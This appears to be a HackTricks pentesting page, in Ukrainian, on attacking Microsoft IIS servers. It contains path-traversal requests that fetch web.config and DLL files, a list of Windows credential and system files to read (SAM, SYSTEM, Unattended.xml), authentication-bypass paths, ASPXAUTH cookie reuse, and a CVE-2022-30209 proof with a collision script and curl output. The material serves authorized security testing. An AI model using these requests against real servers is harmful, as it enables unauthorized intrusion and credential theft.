IIS - Internet Information Services

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Перевірте розширення виконуваних файлів:

  • asp

  • aspx

  • config

  • php

Розкриття внутрішньої IP-адреси

На будь-якому сервері IIS, де ви отримуєте 302, ви можете спробувати видалити заголовок Host і використовувати HTTP/1.0, а відповідь може містити заголовок Location, який вказує на внутрішню IP-адресу:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Відповідь, що розкриває внутрішню IP-адресу:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Виконання файлів .config

Ви можете завантажити файли .config та використовувати їх для виконання коду. Один зі способів - додати код в кінець файлу всередині коментаря HTML: Завантажити приклад тут

Додаткова інформація та техніки для використання цієї уразливості тут

IIS Discovery Bruteforce

Завантажте список, який я створив:

Він був створений шляхом об'єднання вмісту наступних списків:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Використовуйте його, не додаючи жодного розширення, файли, які його потребують, вже мають його.

Обхід шляху

Витік вихідного коду

Перевірте повний опис за посиланням: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Узагальнюючи, в папках додатка є кілька файлів web.config з посиланнями на файли "assemblyIdentity" та "namespaces". З цією інформацією можна дізнатися де розташовані виконувані файли та завантажити їх. З завантажених Dlls також можна знайти нові простори імен, де варто спробувати отримати доступ та отримати файл web.config, щоб знайти нові простори імен та assemblyIdentity. Також файли connectionstrings.config та global.asax можуть містити цікаву інформацію.\

У .Net MVC додатках файл web.config відіграє важливу роль, вказуючи кожний бінарний файл, від якого залежить додаток, через XML-теги "assemblyIdentity".

Дослідження бінарних файлів

Нижче показано приклад доступу до файлу web.config:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Цей запит розкриває різні налаштування та залежності, такі як:

  • Версія EntityFramework

  • AppSettings для веб-сторінок, клієнтської валідації та JavaScript

  • Конфігурації System.web для аутентифікації та часу виконання

  • Налаштування модулів System.webServer

  • Зв'язки збірок Runtime для численних бібліотек, таких як Microsoft.Owin, Newtonsoft.Json та System.Web.Mvc

Ці налаштування вказують на те, що певні файли, такі як /bin/WebGrease.dll, розташовані в папці /bin додатка.

Файли кореневого каталогу

Файли, знайдені в кореневому каталозі, такі як /global.asax та /connectionstrings.config (який містить чутливі паролі), є важливими для конфігурації та роботи додатка.

Простори імен та Web.Config

Додатки MVC також визначають додаткові файли web.config для конкретних просторів імен, щоб уникнути повторних декларацій у кожному файлі, як показано в запиті на завантаження іншого web.config:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Завантаження DLL-файлів

Згадка про власне простір імен натякає на DLL-файл з назвою "WebApplication1", який знаходиться в каталозі /bin. Після цього показано запит на завантаження WebApplication1.dll:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Це вказує на наявність інших важливих DLL-файлів, таких як System.Web.Mvc.dll та System.Web.Optimization.dll, у каталозі /bin.

У випадку, коли DLL імпортує простір імен під назвою WebApplication1.Areas.Minded, зловмисник може зробити висновок про наявність інших файлів web.config за передбачуваними шляхами, такими як /area-name/Views/, що містять конкретні конфігурації та посилання на інші DLL-файли у каталозі /bin. Наприклад, запит до /Minded/Views/web.config може розкрити конфігурації та простори імен, які вказують на наявність іншої DLL, WebApplication1.AdditionalFeatures.dll.

Загальні файли

З цього

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

Помилка 404 HTTPAPI 2.0

Якщо ви бачите помилку, схожу на наступну:

Це означає, що сервер не отримав правильне ім'я домену у заголовку Host. Для доступу до веб-сторінки ви можете переглянути SSL-сертифікат, можливо, ви зможете знайти там ім'я домену/піддомену. Якщо його там немає, вам може знадобитися перебір VHosts, поки ви не знайдете правильний.

Старі вразливості IIS, на які варто звернути увагу

Вразливість/функція тильди “~” в Microsoft IIS – Розкриття короткого імені файлу/папки

Ви можете спробувати перелічити папки та файли всередині кожної виявленої папки (навіть якщо для цього потрібна базова аутентифікація) за допомогою цієї техніки. Основне обмеження цієї техніки, якщо сервер вразливий, полягає в тому, що вона може знайти лише до перших 6 літер назви кожного файлу/папки та перших 3 літер розширення файлів.

Ви можете використовувати https://github.com/irsdl/IIS-ShortName-Scanner, щоб перевірити цю вразливість: java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Оригінальне дослідження: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Ви також можете використовувати metasploit: use scanner/http/iis_shortname_scanner

Обхід базової аутентифікації

Обійдіть базову аутентифікацію (IIS 7.5) спробувавши отримати доступ до: /admin:$i30:$INDEX_ALLOCATION/admin.php або /admin::$INDEX_ALLOCATION/admin.php

Ви можете спробувати поєднати цю вразливість з попередньою, щоб знайти нові папки та обійти аутентифікацію.

Включене налагодження ASP.NET Trace.AXD

ASP.NET включає режим налагодження, а його файл називається trace.axd.

Він зберігає дуже детальний журнал всіх запитів, зроблених до додатка протягом певного часу.

Ця інформація включає віддалені IP-адреси клієнтів, ідентифікатори сеансів, всі куки запитів та відповідей, фізичні шляхи, інформацію про вихідний код та, можливо, навіть імена користувачів та паролі.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Куки ASPXAUTH

ASPXAUTH використовує наступну інформацію:

  • validationKey (рядок): шістнадцятковий ключ для перевірки підпису.

  • decryptionMethod (рядок): (за замовчуванням “AES”).

  • decryptionIV (рядок): шістнадцятковий ініціалізаційний вектор (за замовчуванням вектор з нулів).

  • decryptionKey (рядок): шістнадцятковий ключ для розшифрування.

Однак деякі люди використовуватимуть стандартні значення цих параметрів та використовуватимуть як куки електронної пошти користувача. Тому, якщо ви зможете знайти веб-сайт, який використовує таку ж платформу, що використовує куки ASPXAUTH, і створити користувача з електронною адресою користувача, якого ви хочете імітувати на сервері, який атакується, ви можете використати куки з другого сервера на першому та імітувати користувача. Цей атака працювала в цьому описі.

Обхід аутентифікації IIS за допомогою кешованих паролів (CVE-2022-30209)

Повний звіт тут: Помилка в коді не перевіряла належність пароля, введеного користувачем, тому зловмисник, чий хеш пароля відповідає ключу, який вже є в кеші, зможе увійти як цей користувач.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated